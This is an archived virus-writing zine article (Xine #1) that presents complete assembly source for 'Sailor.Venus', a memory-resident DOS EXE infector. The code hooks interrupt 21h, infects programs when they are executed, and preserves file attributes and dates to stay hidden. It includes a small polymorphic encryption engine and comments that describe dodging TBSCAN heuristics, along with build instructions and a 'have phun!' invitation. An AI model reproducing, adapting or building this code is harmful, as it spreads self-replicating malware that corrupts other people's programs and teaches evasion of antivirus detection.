home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / XINE-1.ZIP / XINE-1.020 < prev    next >
Text File  |  1996-10-25  |  18KB  |  526 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 020 |
  4.                                         \-----------------------------/
  5.  
  6. ;
  7. ;
  8. ;                              ...once again...
  9. ;                          b0z0 of the iKx presents
  10. ;                                Sailor.Venus
  11. ;
  12. ;  Here is the second member of my Pretty Sailors family. It's a simple EXE
  13. ; infector that infect on execute (4bh). Of course it will preserve attributes,
  14. ; time and date of creation. The virus will fill the last page with shit stuff
  15. ; and will place itself on a new one. The virus has a small polymorphic crap.
  16. ; The size of the decriptor is fixed (0fh bytes). The encryption/decryption
  17. ; routine use the ADD/SUB/XOR operations on bytes or words (randomly selected)
  18. ; with a random value. When operating on a byte/word the used register is DI
  19. ; or SI. All the code isn't everytime encrypted, infact the mutation routine
  20. ; can generate decryptors that encrypt every second (or third) byte when
  21. ; encrypting bytes and can generate decryptors that encrypt a word and leave
  22. ; clear a byte when encrypting words.
  23. ;  This is my first attempt to create a small quite polymorphic engine, and
  24. ; i promise that the next time it will be smaller, not as scannable as this,
  25. ; and also a little more poly. :)
  26. ;
  27. ; have phun!
  28. ;
  29. ; To compile:
  30. ;   TASM /M2 VENUS.ASM
  31. ;   TLINK VENUS
  32.  
  33. .model tiny
  34. .code
  35.         assume  cs:@code
  36. org 0h
  37.  
  38. entry_point:
  39. start_code:
  40. ;;       this code will be overwritten by the decryptor - FG use only ;;
  41.  
  42. tempzone  db      0dh dup (90h)
  43.  
  44.         push    cs
  45.         pop     ds
  46. ;;                  here finish the overwritten code                  ;;
  47.         call    install_in_memory       ;let's go
  48.  
  49.         push    es
  50.         pop     ds
  51.  
  52.         mov     ax,es                   ;vic_cs points on old proggy
  53.         add     ax,10h
  54.         add     cs:[vic_cs],ax
  55.  
  56.         cli                             ;restore old ss:sp
  57.         mov     sp,word ptr cs:[vic_sp]
  58.         add     ax,word ptr cs:[vic_ss]
  59.         mov     ss,ax
  60.         sti
  61.  
  62.         sub     ax,ax                   ;put zeros in regs
  63.         sub     dx,dx
  64.         xor     bx,bx
  65.         sub     cx,cx
  66.         xor     di,di
  67.         sub     si,si
  68.  
  69.         db      0eah    ; jmp far to the old program
  70. vic_ip  dw      00000h
  71. vic_cs  dw      0fff0h  ; for the first gen go to PSP:00h -> int 20h
  72. vic_sp  dw      ?
  73. vic_ss  dw      ?
  74.  
  75. install_in_memory:
  76.                 push    es
  77.                 push    cs
  78.                 pop     ds
  79.                 mov     ax,6b2dh                ; check if we are resident
  80.                 int     21h
  81.                 cmp     ah,al
  82.                 je      go_away
  83.  
  84.                 push    es
  85.                 mov     ax,3521h                ; get int 21 adress
  86.                 int     21h
  87.                 mov     word ptr [old_int21_off],bx  ;store int21 offset
  88.                 mov     word ptr [old_int21_seg],es  ; and segment
  89.                 pop     es
  90.  
  91.                 mov     ax,es               ; es=psp
  92.                 dec     ax                  ; psp-1=mcb
  93.                 mov     ds,ax               ; DS = segment of programs mcb
  94.                 sub     si,si
  95. l4mcb:                                      ; look for last mcb in chain
  96.                 cmp     byte ptr [si],'Z'   ; is the last?
  97.                 je      last
  98.                 inc     ax
  99.                 add     ax,word ptr [si+03h]  ; nope, search for last
  100.                 mov     ds,ax
  101.                 jmp     l4mcb
  102.  
  103. last:
  104.                 sub     word ptr [si+03h],code_size_para  ; = mcb+03h
  105.                 add     ax,word ptr [si+03h]
  106.                 sub     word ptr [si+12h],code_size_para  ; = psp+02h
  107.                 inc     ax                  ; AX first usable segment
  108.  
  109.                 cld
  110.                 sub     di,di               ; di=0
  111.                 push    cs
  112.                 pop     ds                  ; ds points on code
  113.                 mov     cx,(code_size+1)/2
  114.                 mov     es,ax               ; es points on our usable segment
  115.                 lea     si,start_code       ; si points on our code
  116.                 rep     movsw               ; move virus
  117.                 push    es
  118.  
  119.                 mov     ax,2621h        ; install our interrupt handler
  120.                 dec     ah
  121.                 pop     ds              ; get mem segment where we are located
  122.                 mov     dx,[offset int21_handler]
  123.                 int     21h
  124. go_away:
  125.                 pop     es
  126.                 ret
  127. int21_handler:
  128.                 cmp     ax,6b2dh        ; internal admin stuff :)
  129.                 jne     no_check
  130.                 sub     ah,3eh
  131.                 iret
  132. no_check:
  133.                 push    bx
  134.                 mov     bx,4b00h
  135.                 cmp     ax,bx          ; execute
  136.                 pop     bx
  137.                 je      exec
  138.  
  139.                 jmp cs:old_int21
  140. int24_handler:
  141.                 mov     al,03h
  142.                 iret
  143. old_int21 label dword
  144. old_int21_off      dw   ?                       ;original int21 offset
  145. old_int21_seg      dw   ?                       ;original int21 segment
  146. ourname         db      0,'Sailor.Venus',0
  147. author          db      '-b0z0/iKx-',0
  148.  
  149. exec:
  150.                 push    si
  151.                 push    di
  152.                 push    ax
  153.                 push    bx
  154.                 push    cx
  155.                 push    dx
  156.                 push    ds
  157.                 push    es
  158.                 push    bp
  159.  
  160.                 push    ds
  161.         push    dx 
  162.                 mov     ax,3524h          ;get int24h seg and off
  163.         int     21h
  164.                 mov     word ptr cs:[old_int24_off],bx  ;store them
  165.                 mov     word ptr cs:[old_int24_seg],es
  166.  
  167.                 lea     dx,int24_handler  ;set our int24h handler
  168.                 mov     ax,2524h
  169.         int     21h
  170.                 pop     dx
  171.                 pop     ds
  172.  
  173.                 mov     ax,4300h        ;get file attributes
  174.                 int     21h
  175.  
  176.                 push    ds              ;save ASCIIZ string with file name
  177.                 push    dx
  178.                 push    cx              ;save attributes
  179.                 xor     cx,cx           ;delete attributes
  180.                 call    set_attr
  181.  
  182.                 mov     ax,3d02h        ;open for r/w
  183.                 int     21h
  184.                 jnc     infectit
  185.                 jmp     exit_infect
  186. infectit:
  187.                 mov     bx,ax           ;bx file handle
  188.                 push    cs
  189.                 pop     ds
  190.  
  191.                 mov     ax,5700h        ;get time/date
  192.                 int     21h
  193.                 push    dx              ;store them
  194.                 push    cx
  195.  
  196.                 mov     ah,3fh          ;read da head
  197.                 mov     cx,1ch
  198.                 lea     dx,exehead
  199.                 mov     si,dx
  200.                 int     21h
  201.  
  202.                 cmp     byte ptr [si],'M'         ;is exe?
  203.                 je      is_exe
  204. nopein:
  205.                 jmp     not_exe
  206. is_exe:
  207.                 cmp     byte ptr [si+01h],'Z'      ;is exe?
  208.                 jne     nopein
  209.                 cmp     byte ptr [si+18h],'@'      ;winexes?
  210.                 je      nopein
  211.                 cmp     word ptr [si+12h],'VS'     ;sailorvenus marker?
  212.                 je      nopein
  213.                 cmp     word ptr [si+1ah],00h      ;internal ovl?
  214.                 jne     nopein
  215.                 mov     cx,word ptr [si+02h]
  216.                 mov     ax,512
  217.                 sub     ax,cx
  218.                 push    ax
  219.  
  220.                 mov     al,02h          ;go to the end of the file
  221.                 call    movefile
  222.                 call    normal          ;check if _really_ no overlays
  223.                 pop     cx
  224.                 cmp     dx,word ptr [lendx]  ;compare lseek length with
  225.                 ja      nopein               ;length of image that will
  226.                 cmp     ax,word ptr [lenax]  ;be loaded by the loader
  227.                 ja      nopein
  228.  
  229.                 add     ax,cx                   ;add our alignment bytes
  230.                 adc     dx,00h
  231.                 push    ax
  232.                 push    dx
  233.  
  234.                 mov     ah,40h                  ;write some shit to align
  235.                 mov     dx,0f00h                ;from ds:0f00 :)
  236.                 int     21h
  237.                 mov     word ptr [si+02h],00h
  238.  
  239.                 mov     cx,word ptr [si+14h] ;store old IP
  240.                 mov     vic_ip,cx
  241.                 mov     cx,word ptr [si+16h] ;store old CS
  242.                 mov     vic_cs,cx
  243.                 mov     cx,word ptr [si+10h] ;store old SP
  244.                 mov     vic_sp,cx
  245.                 mov     cx,word ptr [si+0eh] ;store old SS
  246.                 mov     vic_ss,cx
  247.  
  248.                 pop     dx
  249.                 pop     ax
  250.                 push    ax
  251.                 push    dx
  252.  
  253.                 mov     cx,10h
  254.                 div     cx
  255.  
  256.                 sub     ax,word ptr [si+8h]
  257.  
  258.                 mov     word ptr [si+16h],ax    ;new CS
  259.                 mov     word ptr [si+14h],dx    ;new IP (will be zero)
  260.  
  261.                 add     dx,offset ourstack      ;SP after us
  262.  
  263.                 mov     word ptr [si+0eh],ax    ;new SS
  264.                 mov     word ptr [si+10h],dx    ;new SP
  265.  
  266.                 pop     dx                      ;length
  267.                 pop     ax
  268.  
  269.                 add     ax,code_size
  270.                 adc     dx,00h
  271.                 mov     cx,512
  272.                 div     cx
  273.                 inc     ax
  274.                 mov     word ptr [si+04h],ax       ;new nr of pages
  275.                 mov     word ptr [si+02h],dx       ;new image mod 512
  276.                 mov     word ptr [si+12h],'VS'     ;marker
  277.  
  278.                 push    ds
  279.                 push    si
  280.                 mov     ax,08d00h       ;some free (? :) ) mem
  281.                 mov     es,ax
  282.                 sub     di,di
  283.                 mov     si,di
  284.                 mov     cx,code_size
  285.                 push    cx
  286.                 rep     movsb           ;copy virus in a piece of mem
  287.  
  288.                 call    muta            ;mutate a little our code
  289.  
  290.                 mov     ah,40h          ;write virus at end
  291.                 pop     cx
  292.                 sub     dx,dx
  293.                 int     21h
  294.                 pop     si
  295.                 pop     ds
  296.  
  297.                 mov     al,00h          ;move at begin
  298.                 call    movefile
  299.  
  300.                 mov     ah,3fh          ;write new exe header
  301.                 inc     ah
  302.                 mov     cx,1ch
  303.                 mov     dx,si
  304.                 int     21h
  305. not_exe:
  306.                 pop     cx              ;old date/time
  307.                 pop     dx
  308.                 mov     ax,5601h        ;restore old date time
  309.                 inc     ah              ;don't warn tbscan heuristic
  310.                 int     21h
  311.  
  312.                 mov     ah,3eh          ;close file
  313.                 int     21h
  314. exit_infect:
  315.                 pop     cx
  316.                 pop     dx
  317.                 pop     ds
  318.                 call    set_attr
  319.  
  320.                 mov     ax,2524h
  321.                 mov     dx,cs:[old_int24_off]
  322.                 mov     ds,cs:[old_int24_seg]
  323.                 int     21h                     ; restore int24h
  324.  
  325.                 pop     bp
  326.                 pop     es
  327.                 pop     ds
  328.                 pop     dx
  329.                 pop     cx
  330.                 pop     bx
  331.                 pop     ax
  332.                 pop     di
  333.                 pop     si
  334.                 jmp  cs:old_int21
  335. normal:
  336.                 push    ax              ;calculate lenght of loaded
  337.                 push    dx              ;image from header
  338.                 mov     cx,word ptr [si+04h]
  339.                 mov     ax,512
  340.                 mul     cx
  341.                 add     ax,word ptr [si+02h]
  342.                 adc     dx,00h
  343.                 mov     word ptr [lenax],ax
  344.                 mov     word ptr [lendx],dx
  345.                 pop     dx
  346.                 pop     ax
  347.                 ret
  348. movefile:                               ;move through the file
  349.                 mov     ah,42h
  350.                 cwd                     ;cx=dx=00h
  351.                 sub     cx,cx
  352.                 int     21h
  353.                 ret
  354. set_attr:                                   ;set attributes to CX
  355.                 mov     ax,4201h            ;set attributes
  356.                 inc     ah                  ;g'bye tbscan F flag
  357.                 int     21h
  358.                 ret
  359. muta:
  360. ;       input es:00h
  361. ;
  362. ;       the mutation routine will be something like:
  363. ;
  364. ;       mov     di/si,length_decryptor
  365. ;       mov     cx,length_encrypted_code
  366. ;dec:
  367. ;       add/sub/xor     byte/word ptr cs:[di/si],_immediate_
  368. ;       inc     (di/si)/nop     (always inc when working with words)
  369. ;       inc     (di/si)/nop
  370. ;       inc     di/si
  371. ;       loop    dec
  372. ;
  373.         push    bx
  374.         lea     si,enc_value            ;si on encryption value
  375.         mov     bx,9047h                ;bh=NOP bl=INC [DI]
  376.                                         ;just a little optimized ;)
  377.  
  378.         in      al,40h                   ;rnd value
  379.         mov     byte ptr [si],al         ;encryption value
  380.  
  381.         mov     dl,046h
  382.         mov     byte ptr [si-3],2eh      ;write the CS:
  383.  
  384.         mov     cx,offset enctable              ;select the enc method
  385.         mov     di,[si+02fh]                    ;si+2fh --> encselected
  386.         push    di
  387.         add     di,cx
  388.         mov     ch,[di]
  389.         mov     byte ptr [si-1],ch
  390.  
  391.         pop     cx
  392.         shr     cx,1
  393.         jnc     isadi
  394.         mov     byte ptr [si-9],0beh           ;on decryptor
  395.         mov     byte ptr [si+3],dl             ;SI used
  396.         cmp     byte ptr [si+1],bh
  397.         je      nosecondinc
  398.         mov     byte ptr [si+1],dl
  399.  
  400. nosecondinc:
  401.         cmp     byte ptr [si+2],bl
  402.         jne     finchanges
  403.         mov     byte ptr [si+2],dl
  404.         jmp     finchanges
  405.  
  406. isadi:
  407.         mov     byte ptr [si-9],0bfh           ;the selected instruction
  408.         mov     byte ptr [si+3],bl             ;need DI operands
  409.         cmp     byte ptr [si+1],bh
  410.         je      notwoincs
  411.         mov     byte ptr [si+1],bl
  412.  
  413. notwoincs:
  414.         cmp     byte ptr [si+2],dl
  415.         jne     finchanges
  416.         mov     byte ptr [si+2],bl
  417.  
  418. finchanges:
  419.  
  420.         push    si
  421.         mov     cx,length_dec
  422.         sub     di,di
  423.         sub     si,09h                          ;si on decryptor
  424.         rep     movsb                           ;copy the decryptor
  425.         pop     si
  426.         push    di
  427.  
  428.         mov     byte ptr [si-3],bh              ;no CS: in the encryptor
  429.         mov     di,offset dectable              ;select the right encryptor
  430.         mov     cx,[si+02fh]
  431.         sub     di,cx
  432.         mov     ch,[di]
  433.         mov     byte ptr [si-1],ch
  434.         dec     word ptr [si+02fh]              ;rotate trought the pox enc.
  435.         jnz     notcicle
  436.         mov     word ptr [si+02fh],07h
  437.  
  438. notcicle:
  439.         pop     di
  440.         push    es
  441.         pop     ds                           ;ds on code to be encrypted
  442.         push    si
  443.         push    di                           ;di=si, so any encryption will
  444.         pop     si                           ;work correctly
  445.         jmp     encryptor
  446.  
  447. decryptor:
  448.         mov     di,length_dec
  449.  
  450. encryptor:
  451.         mov     cx,code_size-length_dec
  452.  
  453. the_loop:
  454.                 db      2eh             ;CS:
  455.  
  456. our_loop:
  457.                 db      80h,2dh          ;the encrtption method
  458. enc_value       db      00h              ;,immediate8
  459.         nop                              ;which bytes will we enc/decrypt
  460.         nop
  461.         inc      di
  462.         loop     the_loop
  463.  
  464. decryptor_end:
  465.         pop     si
  466.         push    ds
  467.         push    cs
  468.         pop     ds
  469.  
  470.         shr     al,1                    ;select if the next will encrypt
  471.         jc      tobyte                  ;word or bytes
  472.  
  473. toword:
  474.        mov      byte ptr [si-2],83h      ;to word
  475.        mov      byte ptr [si+2],bh
  476.        mov      byte ptr [si+1],bl       ;must be two incs
  477.        shr      al,1
  478.        jc       dontdo
  479.        mov      byte ptr [si+2],bl       ;or three
  480.  
  481. dontdo:
  482.        jmp      letsgo
  483.  
  484. tobyte:
  485.        mov      byte ptr [si-2],80h      ;to byte
  486.        shr      al,1                      ;select if encrypt any byte or
  487.        jnc      letsgo                   ;only every two
  488.        mov      byte ptr [si+1],bh
  489.  
  490. letsgo:
  491.        pop      ds
  492.        pop      bx
  493.        ret
  494.  
  495. encselected     dw      07h
  496. enctable:                                ;poxible enc/dec operations
  497.         db      90h
  498.         db      04h     ;ADD [si]
  499.         db      05h     ;ADD [di]
  500.         db      34h     ;XOR [si]
  501.         db      35h     ;XOR [di]
  502.         db      34h     ;XOR [si]
  503.         db      2dh     ;SUB [di]
  504.         db      2ch     ;SUB [si]
  505. dectable:
  506. end_code:               ;anthing after this line wouldn't be in the file
  507.  
  508. old_int24_off      dw   ?                       ;original int24 offset
  509. old_int24_seg      dw   ?                       ;original int24 segment
  510.  
  511. lenax           dw      ?
  512. lendx           dw      ?
  513. exehead         db      1dh dup(?)
  514.  
  515. length_dec=decryptor_end-decryptor
  516.  
  517. code_size=end_code-start_code
  518. code_size_para=((code_size+0fh)/10h)+2
  519.  
  520.  
  521. lenghtstack  db      256  dup (?)
  522. ourstack:
  523.  
  524.  
  525. end entry_point
  526.